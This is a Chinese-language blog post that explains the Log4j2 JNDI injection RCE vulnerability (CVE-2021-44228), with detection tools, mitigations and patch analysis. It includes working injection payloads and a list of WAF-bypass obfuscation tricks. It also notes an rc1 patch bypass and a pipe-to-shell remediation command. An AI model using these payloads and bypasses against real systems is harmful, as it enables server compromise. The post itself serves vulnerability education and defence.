Ywc's blog

深入理解Log4j2远程命令执行漏洞

Word count: 3.8kReading time: 14 min
2021/12/12

漏洞危害

  1. Apache Log4j2 是 Apache 软件基金会下的一个开源的基于 Java 的日志记录工具。Log4j2 是一个 Log4j 1.x 的重写,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。从Apache Log4j2 漏洞影响面查询的统计来看,影响多达60644个开源软件,涉及相关版本软件包更是达到了321094个。而本次漏洞的触发方式简单,利用成本极低,可以说是一场java生态的‘浩劫’。

  2. java日志模块存在远程命令执行漏洞可直接控制目标服务器,攻击者利用难度极低, Java 技术栈业务及使用java开源软件需要重点关注,由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞

  3. 该漏洞可通过 critical、error、warining、notice、info、debug等日志级别触发,只需部分日志内容可控,大量开源组件被波及,包括 ELK、 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。目前漏洞细节已被公开,攻击者可利用该漏洞进行远程命令执行(可导致服务器沦陷等)。

  4. 漏洞影响范围:

    • Apache Log4j 1.x (1.x默认不支持jndi,若启用JMS的appender受影响,没有添加过Appenders组件相关配置或函数内未引用Appenders就没有影响)
    • Apache Log4j 远程命令执行漏洞 影响版本: Apache Log4j 2.x < 2.15.0-rc2
    • Apache Log4j 拒绝服务漏洞(CVE-2021-45105)影响版本:2.0-alpha1 至 2.16.0 (如果是JAVA7 可以通过升级到2.12.3解决此问题)
    • Apache dubbo的影响参考官方https://github.com/apache/dubbo/issues/9380

Log4j和Log4j2的区别

漏洞原理

基础知识

JNDI

  • 总结:JNDI是Java提供的Java命名和目录接口。通过调用JNDI的API可以定位资源和其他程序对象。

    • JNDI是Java EE的重要部分,JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
  • JNDI全称 Java Naming and Directory Interface(Java命名和目录接口)。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念。JDNI是provider-based的技术(如同其它很多Java技术一样),暴露了一个API和一个服务供应接口(SPI)。这意味着任何基于名字的技术都能通过JNDI而提供服务,只要JNDI支持这项技术。很多J2EE技术,包括EJB都依靠JNDI来组织和定位实体。

  • JDNI通过绑定的概念将对象和名称联系起来。在一个文件系统中,文件名被绑定给文件。在DNS中,一个IP地址绑定一个URL。在目录服务中,一个对象名被绑定给一个对象实体。

参考文章:JNDI学习总结(一)——JNDI数据源的配置

LDAP

LDAP全称 Light Directory Access Protocol(轻型目录访问协议),是基于X.500标准的轻量级目录访问协议。

  • 总结:LDAP是一个目录服务,可以通过目录路径查询到对应目录下的对象(文件)等。即其也是JNDI的实现,通过名称(目录路径)查询到对象(目录下的文件)

  • LDAP目录服务是由目录数据库和一套访问协议组成的系统。

    • 目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
    • 目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。
    • 目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。

参考:LDAP概念和原理介绍

Codebase

Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。

Log4j2漏洞原理

Java低版本原理(网上普遍攻击原理)

原理概述:

  • Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

攻击流程与原理

总结:

1、攻击则发送带有恶意Ldap内容的字符串,让服务通过log4j2打印
2、log4j2解析到ldap内容,会调用Java底层的Lookup方法,完成LdapLookup操作。
3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。
4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。

Log4j2远程命令执行漏洞

具体攻击流程:

  1. 首先攻击者遭到存在风险的接口(接口会将前端输入直接通过日志打印出来),然后向该接口发送攻击内容:${jndi:ldap://localhost:9999/Test}
  2. 被攻击服务器接收到该内容后,通过Logj42工具将其作为日志打印。
  3. 此时Log4j2会解析${},读取出其中的内容。判断其为Ldap实现的JNDI。于是调用Java底层的Lookup方法,尝试完成LdapLookup操作。
  4. 请求Ldap服务器,获取到Ldap协议数据。Ldap会返回一个Codebase告诉客户端,需要从该Codebase去获取其需要的Class数据。
  5. 请求Ldap中返回的Codebase路径,去Codebase下载对应的Class文件,并通过类加载器将其加载为Class类,然后调用其默认构造函数将该Class类实例化成一个对象。就会导致我们攻击代码中的静态块中的内容被执行。

测试方法

1、dnslog手动验证方法

  • 首先在dnslog平台获取一个子域名,尝试构造payload,插入请求数据包。
    ${jndi:ldap://xxxx.dnslog.cn}
  • 通过dnslog平台是否收到请求,初步判断目标环境是否存在漏洞。

2、Log4j-scan等一些自动化工具

  • Log4j-scan是一款用于查找log4j2漏洞的python脚本,支持url检测,支持HTTP请求头和POST数据参数进行模糊测试。
  • github项目地址:https://github.com/fullhunt/log4j-scan

3、Log4j2 burp被动扫描插件

  • 通过插件的方式,将log4j2漏洞检测能力集成到burp,从而提升安全测试人员的漏洞发现能力。
  • github项目地址:
    1
    2
    https://github.com/f0ng/log4j2burpscanner
    https://github.com/Jeromeyoung/log4j2burpscanner

4、AWVS扫描log4j2漏洞
AWVS14最新版本支持log4j2漏洞检测,支持批量扫描

5、制品级Log4j2漏洞检测工具
检测工具基于腾讯安全的binAuditor,支持 Jar/Ear/War包上传,一键上传即可获取到检测结果。
检测地址:
https://bsca.ms.qq.com/

6、Log4j2 本地检测工具
基于长亭牧云产品提取出来的Log4j2本地检测工具,可快速发现当前服务器存在风险的 log4j2 应用。

1
https://log4j2-detector.chaitin.cn/

绕过方法

实用WAF规则如对 ${jndildaprmi 等关键词规则的防护,容易被绕过,绕过方法如下:

  1. 利用编码绕过:大小编码,递归URL编码,Unicode编码(JSON格式),十六进制编码等

  2. 利用log4j所支持的lookup方法(具体支持的方法和log4j版本有关)绕过:

    ${lower:jndi}${upper:jndi}

    • 支持嵌套替换

      ${${lower:${lower:jndi}}:$ {lower:ldap}://x} => ${ jndi://ldap://x}

  3. 利用log4j在解析时的分隔符:-和特殊字符:

    • ${::-j} => j (分隔符“:-”及之前的部分被截掉)
    • ${env:ENV_NAME:-j}${xksV:Xgi:-j}${ozI:Kgh:Qn:TXM:-j}均 会被转为 j
  4. 特殊字符利用: ${upper:ı} => i ( ı 是拉丁字符 U+0131),这里的 ı 不是 i和I,经过 toUpperCase 就会转变成 I。从而绕过了 jndi 关键词的拦截。

  5. 不出现port,避免被waf匹配ip:port

    • ```
      ${jndi:ldap:192.168.1.1/a}
      1
      2
      3
      4
      5
      6
      7

      6. **IP添加包裹**

      - ```
      ${jndi:ldap://[192.168.34.96]/a}
      ${jndi:ldap://[192.168.34.96]]/a}
      LdapURL取出"[ip]",LdapCtx去除[]获得ip,两种情况下端口都是389
  6. 不出现ip和端口

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    ${jndi:ldap:/a}
    此时相当于ldap://localhost:389/a

    原因:这种情况主要是来自于LdapURL解析URL时出错,导致host=null,port=-1,而后LdapCtx中发现host=null,则将host置为localhost,毕竟这样做看起来是可信的
    原理是,LdapURL解析时有个关键处理如下
    this.hasAuthority = var1.startsWith("//", var2); // var2=第一个冒号的索引
    if (hasAuthority){
    解析获取host和port
    }
    此时不出现://这个整体,就可以直接跳出host和port的获取,而后在LdapCtx中对host=null时,赋值为localhost,对port=默认值-1时,赋值为389
  7. 不出现jndi:ldap关键字

修复建议

为避免最新版本被再次绕过,在执行方案B的同时,也强烈建议执行方案A中的措施之一) :

方案A(临时方案):

  • 五选一必须执行:

    • 修改jvm参数: -Dlog4j2.formatMsgNoLookups=true (仅在Apache log4j 2.10.0>=版本中有效)
    • 修改配置文件: 在应用classpath下添加log4j2.component.properties配置文件,log4j2.formatMsgNoLookups=true(仅在Apache log4j 2.10.0>=版本中有效
    • 代码层加固: System.setProperty(“log4j2.formatMsgNoLookups”, “true”);(仅在Apache log4j 2.10.0>=版本中有效
    • 移除log4j-core包中JndiLookup 类文件,并重启服务(需各部门及业务线评估条件是否允许,需验证移除后对稳定性的影响)
      • 具体命令:zip -q -d log4j-core-.jar org/apache/logging/log4j/core/lookup/JndiLookup.class # 如果业务上是打好包的jar包,需要解压后寻找 log4j-core-*.jar,操作完了之后,再打回 jar 包
      • 一键查询机器上所有log4j-core-*.jar 并删除 JndiLookup.class
        • 1、方法一:
          1、自行找到log4j-core-*.jar所在目录,然后执行path命令
          2、执行完了,记得重启服务,重启服务,重启服务

          1
          2
          cd log4j-core-*.jar所在的目录
          zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
        • 2、方法二:
          1、执行一键处置脚本
          2、脚本原理:查询机器上所有log4j-core-*.jar 文件,然后执行path命令删除 JndiLookup.class, 采用该方法前建议自行做下实际环境的测试,然后分布灰度执行
          curl http://xxx.xxx.xxx.xxx/DelJndiFromLog4jCoreJar.sh | bash

        • 3、Logstash 处置方式
          zip -q -d <LOGSTASH_HOME>/logstash-core/lib/jars/log4j-core-2.* org/apache/logging/log4j/core/lookup/JndiLookup.class
          然后重启 logstash 即可

        • 4、注意事项

          • 有的环境是将 log4j-core-.jar 二次打包成 jar 包(多层jar打包),需要先解压外层jar包 ,让 log4j-core-.jar 以单文件的形式存在于服务器上,然后执行方法一或者方法二的 path 命令
          • 执行完后再重新打包,解包打包参考如下
            • 解包
              • jar -xvf hello.jar
            • 打包
              • jar -cvf0m hello.jar ./META-INF/MANIFEST.MF .
  • 禁用JNDI服务(需各部门及业务线评估条件是否允许)

    • 对存在sprint boot的server关闭jndi服务(在不影响业务的情况下),操作方式:在项目的根目录中编辑(如果无就新建)spring.properties或application.properties配置文件,添加属性以及值spring.jndi.ignore=true。
  • 二选一强烈建议执行:

    • 有公网权限的下掉公网权限,避免因为jndi出网被反弹shell控制机器权限,若有必要业务请采取出网白名单方式;
    • 接入OpenRasp

方案B(官方修复):

补丁分析

rc1

2.15.0-rc1

  • 总结:rc1补丁通过对JNDI Lookup增加白名单的方式,限制默认可以访问的主机为本地IP,限制默认支持的协议类型为java、ldap、ldaps,限制LDAP协议默认可以使用的Java类型为少数基础类型,从而大大减少了默认的攻击面。

  • 具体分析:

    • 通过比较2.15.0-rc1和该版本之前最后一个版本2.14.1之间的差异,可以发现Log4j2团队在12月5日提交了一个名为Restrict LDAP access via JNDI (#608)的commit。该commit的详细内容如下链接:

      1
      https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3
    • 除去一些测试代码和辅助代码,该commit最主要内容是在3.5章节中提到的 JndiManager.lookup()方法增加了几种限制,分别是allowedHostsallowedClassesallowedProtocols

    • 各个限制的内容分别如下:

      1
      2
      3
      4
      5
      allowedHosts

      allowedClasses

      allowedProtocols
    • 可以看到,rc1补丁通过对JNDI Lookup增加白名单的方式,限制默认可以访问的主机为本地IP,限制默认支持的协议类型为java、ldap、ldaps,限制LDAP协议默认可以使用的Java类型为少数基础类型,从而大大减少了默认的攻击面。

rc1 绕过

  • 发生原因:rc1默认不对URISyntaxException异常做任何处理,

  • 绕过方法:通过构建一个简单的带空格的异形URI地址(127.0.0.1:8888/ 和exp之间)

rc2

2.15.0-rc2

  • 通过比较2.15.0-rc1和2.15.0-rc2之间的差异,可以发现Log4j2团队在12月10日提交了一个名为Handle URI exception的commit。该commit的详细内容如下链接:

https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658

该commit主要内容是对rc1中JndiManager.lookup()方法里的catch代码块进行了修改:

  • 当URISyntaxException异常被捕获时,直接返回null。从而无法使用上一章节的异形URI地址绕过。

Reference

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析

Log4j2的JNDI注入漏洞(CVE-2021-44228)原理分析与思考

Log4j2 RCE漏洞复现

Log4j2漏洞复现(小白向教程)

CATALOG
  1. 1. 漏洞危害
  2. 2. 漏洞原理
    1. 2.1. 基础知识
      1. 2.1.1. JNDI
      2. 2.1.2. LDAP
      3. 2.1.3. Codebase
    2. 2.2. Log4j2漏洞原理
      1. 2.2.1. Java低版本原理(网上普遍攻击原理)
      2. 2.2.2. 攻击流程与原理
  3. 3. 测试方法
    1. 3.0.1. 绕过方法
  • 4. 修复建议
    1. 4.1. 方案A(临时方案):
    2. 4.2. 方案B(官方修复):
  • 5. 补丁分析
    1. 5.1. rc1
      1. 5.1.1. rc1 绕过
    2. 5.2. rc2
  • 6. Reference